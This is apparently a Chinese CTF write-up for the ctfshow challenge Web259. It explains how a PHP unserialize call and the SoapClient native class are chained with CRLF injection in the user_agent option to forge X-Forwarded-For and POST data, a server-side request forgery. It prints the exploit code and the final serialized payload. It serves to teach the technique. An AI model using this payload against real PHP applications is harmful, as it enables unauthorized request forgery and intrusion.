Web259


abbrlink: 1

Web259

先贴一下源码

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();




flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

题目界面就一个简单的get传参,接收到的值反序列化传到getflag()函数

其他啥也没给,想到就是要用到原生类

后面题目界面给的源码,里面要求ip=127.0.0.1,他又开启了xff,想改包发包来着,他又进行了两次pop,还要token的值==ctfshow,结合这些,基本上可以确定用SoapClient原生类

这里先介绍一下里面的函数

explode() 函数可以把字符串打散为数组。

array_pop()函数:去除数组最后一个元素,返回数组的最后一个值。如果数组是空的,或者非数组,将返回 NULL。

file_put_contents函数:把$flag写入flag.txt

explode()函数:把字符串打散为数组

介绍完函数,分析一下去获取flag的过程。 题目中 array_pop()函数 使用了两次,最后将ip赋给$ip,

这里说一下这个 array_pop()函数两次的过程

127.0.0.1						#返回:空
127.0.0.1,127.0.0.2				#返回:127.0.0.1
127.0.0.1,127.0.0.2,127.0.0.3	#返回:127.0.0.2

这里尝试去伪造 X-Forwarded-For,发现不行,因为使用了Cloudflare,至于如何去判断一个网站是否使用了Cloudflare

至于怎么判断一个网站是否试用了Cloudflare代理

接下来我们看一下SoapClient原生类

class SoapClient {
    /* Methods */
    public __construct(?string $wsdl, array $options = [])
    public __call(string $name, array $args): mixed
    public __doRequest(
        string $request,
        string $location,
        string $action,
        int $version,
        bool $oneWay = false
    ): ?string
    public __getCookies(): array
    public __getFunctions(): ?array
    public __getLastRequest(): ?string
    public __getLastRequestHeaders(): ?string
    public __getLastResponse(): ?string
    public __getLastResponseHeaders(): ?string
    public __getTypes(): ?array
    public __setCookie(string $name, ?string $value = null): void
    public __setLocation(?string $location = null): ?string
    public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
    public __soapCall(
        string $name,
        array $args,
        ?array $options = null,
        SoapHeader|array|null $inputHeaders = null,
        array &$outputHeaders = null
    ): mixed
}

由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法。

因此在CTF中通常会出现一种存在调用不存在的方法并且需要我们伪造请求头的题目

<?php

highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

看源码可以看到他会对传入的vip进行反序列化,并且调用getflag方法,显然此处没有定义getflag方法,因此考虑到跟call魔术方法有关,原生类soap里有这个函数,加上请求头的要求

我们本地测试一下

<?php
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test'));

$client->getFlag();

[外链图片转存中…(img-7Zq7rt54-1698630083770)]

仔细观察后,发现是一个POST请求,并且SOAPAction的值是可控的

但是仅仅依靠这一处,没有办法伪造整一个POST请求,因为Content-Type是xml形式的,并且后面的传输内容也都是xml形式的,一般情况下POST传递参数的格式都是表单形式的(application/x-www-form-urlencoded)

因此我们可以想办法伪造User-Agent头:

<?php
$ua="qingchuan";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test','user_agent' => $ua));

$client->getFlag();

image-20230924123849790

可以看到我们的USER-AGENT也该进去了,当User-Agent成为了我们的可控参数后,User-Agent下方的Content-Type也同样可以被伪造,利用\r\n换行即可伪造

再次修改后的代码如下:

<?php
$ua="qingchuan\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test','user_agent' => $ua));

$client->getFlag();

现在我们已经伪造好了请求包

代码中有几个注意的点

  • 因为$ua中用到了\r\n这两个换行符,因此要用双引号包裹crlf
  • HTTP请求头之间的参数用一组\r\n分割即可
  • HTTP请求头与POSTDATA之间要用两个\r\n分割.
  • 设置User-Agent时,应写成user_agent

监听一下在

image-20230924125424078

image-20230924125512870

红圈里的是有效请求,

因为我们设置了Content-Length的值为13,超出13个字符以外的都会被服务器丢弃,所以影响不大。

在本地测试完成了,接下来我们将相关参数修改与题目相对应。

<?php
$ua = "qingchuan\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

print_r(urlencode(serialize($client)));
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A133%3A%22qingchuan%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

传入后访问flag.txt即可

image-20230924125929067

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Q1ng_chuan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值